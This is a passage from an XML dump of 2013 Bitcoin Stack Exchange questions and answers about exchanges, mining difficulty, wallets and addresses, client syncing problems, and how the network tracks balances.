to solve this potential problem is if the new currency system has more units than the old, and when the old system is to be replaced, the developers of both systems coordinate to release a new version of their systems in which the new system is made to be downward compatible with the Bitcoin network, and somehow one unit in the new system is marked as unmineable and is instead replaced with the already mined units from the old currency system, which will probably result in forking both currency systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consequence of NOT replacing one digital currency system with another is that either every new system or fork which gets popular will &quot;print money&quot; due to their creation increasing supply without proportionally increasing, or that innovation in digital currencies must be limited to things which are reasonably compatible with the existing systems. So if this problem cannot be resolved, it either means a slowing of the progress of humanity, or an occasional massive loss of purchasing power punishing whoever is unlucky enough to be a large holder of the old currency at the time that it becomes discontinued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is someone working on this problem, or are all the developers of digital currencies like Ripple, Bitcoin, Litecoin, and others simply betting that their system will be the victor for all time?&lt;/p&gt;&#xA;" OwnerUserId="6572" LastEditorUserId="153" LastEditDate="2013-09-03T07:14:35.357" LastActivityDate="2013-10-03T07:32:21.963" Title="What happens if Bitcoin itself is obsoleted by another digital currency?" Tags="|development|trading|economic-theory|attack|alternatives|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13037" PostTypeId="2" ParentId="9858" CreationDate="2013-08-30T21:46:08.420" Score="0" Body="&lt;p&gt;All you have to do is convince an existing holder of Bitcoin to accept a payment in another form such as goods or services. This will mean you will need to produce goods or services that people want, otherwise they will not be willing to give up their coins, and you must be willing to produce more of them than the original value of whatever you've borrowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoin is deflationary in nature, credit will be tighter than in other systems, but that is neither good nor bad, it simply is what it is.&lt;/p&gt;&#xA;" OwnerUserId="6572" LastActivityDate="2013-08-30T21:46:08.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13038" PostTypeId="2" ParentId="13034" CreationDate="2013-08-30T22:18:08.273" Score="5" Body="&lt;p&gt;Electrum has a gui form for just that. Also I think &lt;a href=&quot;http://brainwallet.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;brainwallet.org&lt;/a&gt; has a web form that works offline and runs off github source directly so you can verify privacy concerns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;Edit: also see: &#xA;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=40264.msg851062#msg851062&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcointalk.org/index.php?topic=40264.msg851062#msg851062&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As referenced in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3257/transaction-signature-generation?rq=1&quot;&gt;Transaction signature generation&lt;/a&gt; &lt;/strike&gt;&lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-09-01T16:49:21.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13039" PostTypeId="2" ParentId="13035" CreationDate="2013-08-30T22:35:50.640" Score="1" Body="&lt;p&gt;I certainly disagree that a newer digital currency could be compatible enough that the units would replace bitcoins in some ordered fashion. – In that case bitcoin would be close enough to evolve by update into that system. If one thinks about it that way, this has happened before: The Bitcoin protocol has already gone through some update induced hard forks. – Had at that point a significant portion of the community decided not to upgrade they would essentially have had their own separate version of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, should a sufficiently superior contender arrive, it would have to compete for the same market and the losing system's units would lose value until an equilibrium were reached or one ceased to exist. However, due to the opensource nature of these projects discoveries made for one system are quickly adopted to others as well, or in other cases the rivalry is not as close as one might think. One must also consider that substantial investments made into existing systems would drive effort for preservation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example Bitcoin and it's offsprings such as Litecoin are close enough that they compete for the same market, but also close enough that their innovations transfer quickly, on the other hand Ripple and Bitcoin are somewhat dissimilar in their endeavours: One wishes to enable fluid exchange and to facilitate payments beyond currency barriers, while the other supersedes in privacy and wealth storage.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-08-30T22:35:50.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13040" PostTypeId="1" AcceptedAnswerId="13041" CreationDate="2013-08-31T01:15:26.343" Score="9" ViewCount="6224" Body="&lt;p&gt;I've been watching BitCoins for the last few months, and noticed that MTGOX's price per bitcoin is always higher than the price per bitcoin of similar exchanges, (eg cavirtex.com, and bitstamp.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? And why wouldn't people just buy them at another exchange, send their bitcoin to MTGOX, and cash out for an automatic (from what I've seen) 10-15% increase in what they invested?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know they were the most popular/liquid site for bitcoin's until just recently, but I've heard that BitStamp has surpassed them.&lt;/p&gt;&#xA;" OwnerUserId="4317" LastEditorUserId="4317" LastEditDate="2013-08-31T15:26:28.343" LastActivityDate="2013-08-31T15:26:28.343" Title="Why is MTGOX's Price/Bitcoin higher than most other exchanges?" Tags="|mtgox|exchange-rate|withdrawal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13041" PostTypeId="2" ParentId="13040" CreationDate="2013-08-31T03:15:52.407" Score="9" Body="&lt;p&gt;It is because it is more expensive and has delays longer and more unpredictable to get $USD out of MtGox, and because they are facing regulatory and lawsuit problems.  US branch of MtGox, known as Mutuum Sigillum, may bankrupt or get more assets seized. Simply put, a dollar at MtGox is not worth as much as a dollar elsewhere.  MtGox is more accessible/less risky in markets outside US where demand is greater.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &quot;friction&quot; moving money between bitcoin dealers; delays, charges, fees, etc.  Arbitragers keep price differences for bitcoin fairly close to the sum of fees, but don't move until they are sure of a profit -- and the price is volatile, so they must account for risk due to the delay between selling in one place and buying in the other.  Delays with MtGox are so unpredictable that arbitragers are very cautious. &lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-08-31T03:15:52.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13042" PostTypeId="2" ParentId="13034" CreationDate="2013-08-31T03:23:33.747" Score="6" Body="&lt;p&gt;SX is a set of modular Bitcoin commandline utilities that admin types can engage with Bitcoin functionality without having to write code.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sx.dyne.org&quot; rel=&quot;nofollow&quot;&gt;http://sx.dyne.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinmagazine.com/6234/what-libbitcoin-and-sx-are-and-why-they-matter/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmagazine.com/6234/what-libbitcoin-and-sx-are-and-why-they-matter/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.mycelium.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;Mycelium&lt;/a&gt; mobile app has to be the easiest method to spend funds from a paper wallet.   From the app, select Cold Storage.  Then scan the private key from the wallet.  Then scan the QR code for the Bitcoin address to send the funds to.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-09-11T16:17:49.463" LastActivityDate="2013-09-11T16:17:49.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13044" PostTypeId="2" ParentId="12624" CreationDate="2013-08-31T04:21:27.433" Score="2" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been running my Pi (B, 512mb) with a 1.5 amp power supply with 1 usb erupter (Sapphire) for over a week with no problems. Directly connected to the Raspberry, no hub.&lt;/p&gt;&#xA;" OwnerUserId="6573" LastActivityDate="2013-08-31T04:21:27.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13046" PostTypeId="1" CreationDate="2013-08-31T05:33:59.403" Score="-4" ViewCount="12099" Body="&lt;p&gt;I want to buy an ASIC miner and used a mining profitability calculator. I saw that they have a &quot;difficulty factor&quot;. When does this difficulty factor rise and why? Can you predict when it will rise or fall?&lt;/p&gt;&#xA;" OwnerUserId="6575" LastEditorUserId="5406" LastEditDate="2016-03-16T10:28:36.967" LastActivityDate="2016-03-16T10:28:36.967" Title="Mining calculator difficulty factor" Tags="|asic|difficulty|mining-profitability|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13048" PostTypeId="2" ParentId="9148" CreationDate="2013-08-31T08:29:19.570" Score="1" Body="&lt;p&gt;They would if yours was the only one delivered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Claim is made based on current difficulty rate.  When ASIC miners ship to many people, difficulty rate changes rapidly.  Total sum of profits all  miners remain same, no matter what miners buy. &lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-08-31T08:29:19.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13052" PostTypeId="1" CreationDate="2013-08-31T08:55:43.403" Score="1" ViewCount="1123" Body="&lt;p&gt;I've been asked to write a gambling website using bitcoins. The gambling part is easy but I found out about bitcoins only yesterday. I've been following the links and reading but I'm buried in technical jargon; like block chain, wallets, mining etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to know the following things.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What does the website need to hold bitcoins?&lt;/li&gt;&#xA;&lt;li&gt;What does the website need to request funds from player?&lt;/li&gt;&#xA;&lt;li&gt;How to transfer funds from player to website?&lt;/li&gt;&#xA;&lt;li&gt;What does the website need to give out funds to player?&lt;/li&gt;&#xA;&lt;li&gt;How to transfer funds from website to player?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd like to know the answers to be as specific as possible, even code level.&#xA;Oh, a requirement is not need to open an account on my website or using any payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all in advance.&#xA;Moe&lt;/p&gt;&#xA;" OwnerUserId="6580" LastEditorUserId="132" LastEditDate="2013-09-20T12:02:39.783" LastActivityDate="2013-09-20T12:02:39.783" Title="How to build a web site on which clients can send and receive bitcoins without an account?" Tags="|api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13053" PostTypeId="2" ParentId="13046" CreationDate="2013-08-31T10:49:25.977" Score="3" Body="&lt;p&gt;The difficulty depends on the total amount of computational power in the network. Simply put, the more people (or hardware) is mining Bitcoin, the higher the difficulty becomes. Since there is no telling how fast and how much difficulty will rise in future, this is the speculation part in Bitcoin mining. There are people attempting to estimate how much the difficulty will rise based on pre-order queues and the increases in recent months, but they are just that: estimates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether it's worth to join the mining process depends on the difficulty development, what you are investing and what you'll get in return for these investments. It's not a  simple process, but there are some tools that will help you. One of the most complete ones is the &lt;a href=&quot;http://mining.thegenesisblock.com/&quot; rel=&quot;nofollow&quot;&gt;mining calculator by TheGenesisBlock&lt;/a&gt; as it projects your ROI by considering month-to-month difficulty increase, initial investment, consumed power and the hashrate of your equipment.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-08-31T10:49:25.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13054" PostTypeId="1" CreationDate="2013-08-31T16:18:48.683" Score="1" ViewCount="6552" Body="&lt;p&gt;I recently got an American express gift card for my birthday. It has a value of $50. Where can I purchase bitcoins (or litecoins) with this giftcard?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastEditorUserId="5406" LastEditDate="2017-03-04T10:27:30.910" LastActivityDate="2017-03-04T10:27:30.910" Title="Where can I buy bitcoins with an American Express gift card?" Tags="|litecoin|mtgox|buy-bitcoins|btce|american-express|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13055" PostTypeId="2" ParentId="13052" CreationDate="2013-08-31T18:44:23.397" Score="1" Body="&lt;p&gt;A payment gateway may have restrictions on the type of business category, and online gambling may be a category they don't support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process is pretty simply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supply a new address for each deposit.  When a payment arrives to that deposit address the customer account is credited.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A payment is considered final, generally, once it has six confirmations.  That may be a long time for a customer (an hour, or longer even) -- some sites use one, or three confirmations but then have withdrawal restrictions so that newly deposited funds are not withdrawn until the original deposited funds have six confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this business deals with money. Any business that deals with money, whether dollars, euro, gold, or bitcoin, should not be operated without giving appropriate attention to the factors that require attention.  With Bitcoin being a non-reversable payments system, IT Security becomes among the most important areas of the business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Learning how to construct a payment transaction (sendtoaddress using bitconid) or receiving a payment (poll bitcoind using listtransactions, or -walletnotify) should be your last concern at this point.  Figuring out how to manage a wallet, using a cold wallet and hot wallet, for example, and making sure you have backups, etc., are a higher priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This experience might be something you hire out for rather than solicit from a Q&amp;amp;A site.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-31T18:44:23.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13057" PostTypeId="2" ParentId="13031" CreationDate="2013-08-31T20:57:45.287" Score="1" Body="&lt;p&gt;The payout method in p2pool is based on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=39832&quot; rel=&quot;nofollow&quot;&gt;PPLNS&lt;/a&gt;. In this method, every share is rewarded for each block found within the next N shares. Depending on the exact value of N and the luck in finding blocks by the pool, this can mean several blocks.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-31T20:57:45.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13058" PostTypeId="2" ParentId="13054" CreationDate="2013-08-31T21:14:56.323" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://btcquick.com&quot; rel=&quot;nofollow&quot;&gt;http://btcquick.com&lt;/a&gt; uses Google Checkout and supports Amex, I have not tried a gift card but it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do require identity verification to combat the (massive) fraud risk they face.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-08-31T21:14:56.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13059" PostTypeId="1" AcceptedAnswerId="13281" CreationDate="2013-08-31T22:29:17.690" Score="52" ViewCount="69732" Body="&lt;p&gt;Bitcoin seems to have the concept of a wallet and an address. Are they the same thing? If not, how do they differ?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2020-10-10T00:27:13.670" Title="What's the difference between a wallet and an address?" Tags="|wallet|address|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13060" PostTypeId="2" ParentId="13059" CreationDate="2013-08-31T22:29:17.690" Score="8" Body="&lt;p&gt;A wallet and an address are &lt;em&gt;not&lt;/em&gt; the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &lt;strong&gt;address&lt;/strong&gt; is a Bitcoin public key to which transactions can be sent. This concept is present in the Bitcoin protocol itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;wallet&lt;/strong&gt; is a collection of private keys that correspond to addresses. A private key is necessary to spend from an address. The concept of a wallet is present only in Bitcoin clients. The format of the wallet is stereotypically a text file on disk, but may differ between clients and have highly important features such as encryption and address labeling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terminology-wise, one &lt;em&gt;sends Bitcoin to or receives it from an address&lt;/em&gt; and one &lt;em&gt;encrypts, exports, backs up, and imports their wallet&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="575" LastEditDate="2013-09-13T08:26:59.807" LastActivityDate="2013-09-13T08:26:59.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13062" PostTypeId="1" CreationDate="2013-09-01T00:32:58.470" Score="0" ViewCount="1658" Body="&lt;p&gt;I opened up an account with a site called Blockchain.info got a username and password, got a Bitcoin wallet address. I then bought some bitcoins sent them to that address, the bitcoins left but now i cannot access any blockchain.info site that gives me access to my account. Does anyone know what is going on with Blockchain.info?&lt;/p&gt;&#xA;" OwnerUserId="6585" LastEditorUserId="120" LastEditDate="2013-09-01T11:15:57.227" LastActivityDate="2013-09-01T21:21:27.410" Title="I have Blockchain.info wallet which i can't find" Tags="|blockchain-wallet-app|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-01T02:31:05.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="13063" PostTypeId="2" ParentId="13059" CreationDate="2013-09-01T01:00:20.037" Score="6" Body="&lt;p&gt;A wallet is a lot (or collection) of addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An address is a place to send (Bitcoin) from and towards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like a key (address) and a keyring (wallet/addresses)!&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2013-09-01T01:00:20.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13065" PostTypeId="1" CreationDate="2013-09-01T08:37:21.740" Score="2" ViewCount="11884" Body="&lt;p&gt;I bought 1 BTC from localbitcoins.com and received my bitcoin in my online wallet with no problems at all, after that I then sent it to my &quot;bitcoin-qt wallet&quot; address located inside the Bitcoin wallet itself under the &quot;receive&quot; tab. My bitcoin transaction seemed to work because the transaction information was on blockchain.info but once I looked at my &quot;bitcoin-qt&quot; wallet there where no bitcoins in my balance? Where have I gone wrong? Where have my bitcoins gone? it also says (out of sync) on the overview page and also &quot;no block source available on the bottom left next to a bar saying &quot;32 weeks behind&quot; &lt;/p&gt;&#xA;" OwnerUserId="6589" LastEditorUserId="5406" LastEditDate="2015-08-20T11:10:22.270" LastActivityDate="2015-08-20T11:10:22.270" Title="Bitcoins not showing up in Bitcoin-Qt wallet" Tags="|bitcoin-core|synchronization|" AnswerCount="2" CommentCount="2" ClosedDate="2015-08-20T11:10:32.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="13067" PostTypeId="2" ParentId="13065" CreationDate="2013-09-01T12:19:48.457" Score="3" Body="&lt;p&gt;If your client is &quot;32 weeks behind&quot; then it hasn't yet received the transaction that sent the coins to its address. Once it is in sync, you should see  that transaction and a correct balance. If you are able to connect to the network, the client should sync automatically (though it may take many hours or even days, depending on the speed of your computer and internet connection). If it is not updating at all, check that your internet connection works and isn't blocked by a firewall.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-09-01T12:19:48.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13068" PostTypeId="2" ParentId="12997" CreationDate="2013-09-01T14:15:38.013" Score="2" Body="&lt;p&gt;Found out a way to fix the problem - really easy too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Copy bitcoin data files to external hard drive&#xA;2) Uninstall Bitcoin application&#xA;3) Copy bitcoin data files back to their original location&#xA;4) Download and reinstall Bitcoin application.  It finds the old files and everything works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for your help.&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="6542" LastActivityDate="2013-09-01T14:15:38.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13069" PostTypeId="1" AcceptedAnswerId="13073" CreationDate="2013-09-01T15:37:14.207" Score="23" ViewCount="18146" Body="&lt;p&gt;Maybe I haven't yet fully understood how transactions work. And if so, please forgive me my stupid question.&lt;/p&gt;&#xA;&lt;p&gt;But I assume it to be &amp;quot;just&amp;quot; a digitally signed message like &amp;quot;send 1 BTC to &lt;em&gt;Bob&lt;/em&gt;&amp;quot; where &lt;em&gt;Bob&lt;/em&gt; is identified by its public key (of course obeying to some protocol). The transaction is then signed with my private key which prevents later modification and then sent to the network for hashing and block-building...&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure how Bob is notified of the transaction.&#xA;Does his client software really have to parse the block chain to find the transaction where his public key is listed?&lt;/p&gt;&#xA;&lt;p&gt;And even more interesting is the question how the sender of the money is restricted to only send as much money as they have? Is this all managed by the Bitcoin client?&#xA;If so, I could write my own software which just uses the (or: any) amount of (Bitcoin) money together with the recipient's public key and build the transaction ASN specified somewhere in the protocol.&#xA;Who checks the balance and when is it checked?&#xA;Does my Bitcoin client fully dive into the block chain and calculates the balance?&#xA;Is this then trusted by the network?&#xA;Or does the network (e.g. when building and hashing the block) also a verification of all the public keys from their first transactions on?&lt;/p&gt;&#xA;" OwnerUserId="6593" LastEditorUserId="42185" LastEditDate="2020-07-07T13:59:10.423" LastActivityDate="2021-01-03T11:32:05.740" Title="How does the network know my current balance?" Tags="|balance|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13070" PostTypeId="2" ParentId="13054" CreationDate="2013-09-01T16:28:26.180" Score="0" Body="&lt;p&gt;I gave btcquick a try some time ago but never had any success.  &lt;a href=&quot;https://payments.amazon.com/sdui/sdui/personal/webpay/faq&quot; rel=&quot;nofollow&quot;&gt;Amazon webpay&lt;/a&gt; is a simple way to cash-out a gift card. Not really intended to send yourself money though -- the official way to do that would be to have a trusted friend use their amazon account to send it to yours. Or you can figure out some workaround I'm sure. More details at the link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros - no fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cons - takes 5-7 days to get the cash-back into your bank account. Which may be what you're trying to avoid in the first place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Amex also claims you can redeem their gift cards for cash by calling the number on the back, but I don't know how long that takes; my guess is a check in the usps in 6-8 weeks minus some fee. Not recommended. &lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-09-01T16:28:26.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13071" PostTypeId="2" ParentId="13065" CreationDate="2013-09-01T21:16:05.280" Score="2" Body="&lt;p&gt;1) You were correct in moving your Bitcoin from your online wallet to local storage - you want to control them yourself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You need your Bitcoin client (on your computer) to be in &quot;sync&quot; with the Network - right now it's synced up to 32 weeks ago. You want it synced to today. There is no button to sync - it happens automatically when the program is open. Note: I'd usually do this before sending any coins, to make sure your computer and network settings are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) For now, let your computer sync overnight or longer. This means leave your computer on, connected to the Internet, and your Bitcoin client open. Although it might not look like it's getting anywhere, it probably is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) If your Bitcoin client never gets anywhere (after two days), there is something wrong with your Internet connection or your computer. You can either move your computer (laptop) to another connection and try there, or ask a friend who you trust to look at your computer/Bitcoin wallet setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Do not trust people online (here or elsewhere) to troubleshoot your computer, as anyone with access to your computer may be able to extract the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember: Your coins are now assigned to your computer's Bitcoin wallet - you need to get that wallet working or risk losing your coins. Next time, make sure the wallet is working before sending them there! Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="6598" LastEditorUserId="6598" LastEditDate="2013-09-02T17:02:41.187" LastActivityDate="2013-09-02T17:02:41.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13072" PostTypeId="2" ParentId="13062" CreationDate="2013-09-01T21:21:27.410" Score="2" Body="&lt;p&gt;1) Blockchain.info was down for a few moments in recent days - please re-check it's availability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Blockchain.info sends an email confirmation with your wallet's &quot;Identifier&quot;. This is your login/username. Try searching your email for &quot;blockchain&quot; and see if you have that email. &#xA;Subject: Welcome To My Wallet&#xA;Body:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This email contains important information about your new bitcoin&#xA;  wallet. Be sure to keep this safe and stored separately from your&#xA;  password.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Login Link:&#xA;  &lt;a href=&quot;https://blockchain.info/wallet/9c&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/9c&lt;/a&gt;......&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Notifications: Notifications Are Disabled Confirmation Code: D9028&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Verification Link: &#xA;  &lt;a href=&quot;https://blockchain.info/wallet/verify-email?data=xxxxxxxxxx&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/verify-email?data=xxxxxxxxxx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Clicking the first link to your wallet will pre-fill your identifier (login), and just need the password you set when you started. That will get you into your account.&lt;/p&gt;&#xA;" OwnerUserId="6598" LastActivityDate="2013-09-01T21:21:27.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13073" PostTypeId="2" ParentId="13069" CreationDate="2013-09-01T21:35:18.103" Score="19" Body="&lt;p&gt;The network doesn't know your current balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin network doesn't use the concept of &quot;balances&quot;.  Instead the Bitcoin ledger tracks assignments of value.  So every bitcoin that exists was initially claimed by a miner, and then there have been assignments of value ever since.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a bitcoin client can show a &quot;balance&quot; for an address but that balance is simply the result of looking at all the transactions for an address and determining which payment assignments made to that address remain unspent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An unspent transaction is referred to as an UTXO (unspent transaction output).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a balance for an address is simply all the UTXOs for that address.   This can be determined from the blockchain.  This is a huge amount of transaction data but that's why the Bitcoin-Qt/bitcoind client uses LevelDB which is very efficient at retrieving from a dataset like the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2018-01-27T01:13:22.197" LastActivityDate="2018-01-27T01:13:22.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13074" PostTypeId="1" CreationDate="2013-09-01T21:44:55.300" Score="2" ViewCount="57" Body="&lt;p&gt;I have downloaded Bitcoin-qt and have encountered similar problems that others have on here. However, the offered solutions don't apply to me, because I run Mac OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get a status message that says &quot;&lt;em&gt;No block source available&lt;/em&gt;&quot;, when hovering over &quot;&lt;em&gt;Catching up... 180200 out of 225430 (estimated) blocks of transaction history last received block was 67 weeks ago...&lt;/em&gt;&quot; the client informs me that I have &quot;&lt;em&gt;0 active connections to the bitcoin network&lt;/em&gt;&quot;. My client has been in this state for more than 12 hours. I've tried locating the &quot;bitcoin&quot; folder in the &quot;Library Support&quot; folder as I have read on another page to delete the program files to re-install &amp;amp; attempt to re-index the block but I am unable to locate it the bitcoin file... any help?&lt;/p&gt;&#xA;" OwnerUserId="6584" LastEditorUserId="5406" LastEditDate="2013-09-04T22:46:54.657" LastActivityDate="2013-09-04T22:46:54.657" Title="Bitcoin QT &quot;No block source available&quot;... stuck at &quot;180200 out of 225430&quot;" Tags="|bitcoin-core|mac|" AnswerCount="0" CommentCount="2" ClosedDate="2013-09-04T22:44:34.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="13077" PostTypeId="2" ParentId="9379" CreationDate="2013-09-02T03:01:52.570" Score="-3" Body="&lt;p&gt;Let's take a look at this from a basic level.  Coins of any type are mined through complex math problems being solved by various devices that all have exactly  3 things in common.&#xA;1. They are powered by some sort of processor (or multiple processors) that perform the calculations.&#xA;2. They all have some sort of memory or storage area where the program for solving the problems resides.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They all access the internet so that they can actively mine coins.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Let's see.  Computers can do it! (cpu mining) Graphic Cards do it!  (gpu Mining), do you see a pattern developing here?  With Chips being amazingly cheap and readily available, and code being freely shared via the net, It is entirely plausible that one could develop and build coin miner.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's called Hacking, or at least it used to be.  Taking stuff apart to see how it works, researching things to see if you can do it yourself or better yet, come up with a more efficient way of doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to spend thousands of dollars to devise a way to make your own ASIC &lt;em&gt;or similar device&lt;/em&gt;.  You just need the dedication, drive, and motivation to do so.&lt;/p&gt;&#xA;" OwnerUserId="6601" LastActivityDate="2013-09-02T03:01:52.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13079" PostTypeId="2" ParentId="13069" CreationDate="2013-09-02T06:57:16.480" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;The network knows your &quot;balance&quot; because all the transactions that credited or debited it are in the blockchain.&lt;/li&gt;&#xA;&lt;li&gt;If Bob is using a full node then yes, his client knows and parses the blockchain (and also floating transactions). However, it doesn't need to go over the whole thing every time, there are more efficient data structures for that. Also, some people use lightweight clients which outsource the work of keeping track of the entire blockchain.&lt;/li&gt;&#xA;&lt;li&gt;Of course the network doesn't trust your client to &quot;do the right thing&quot;, that would be stupid. You must reference a valid previous output, known to the network, in the transaction you sign and broadcast.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-09-02T06:57:16.480" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
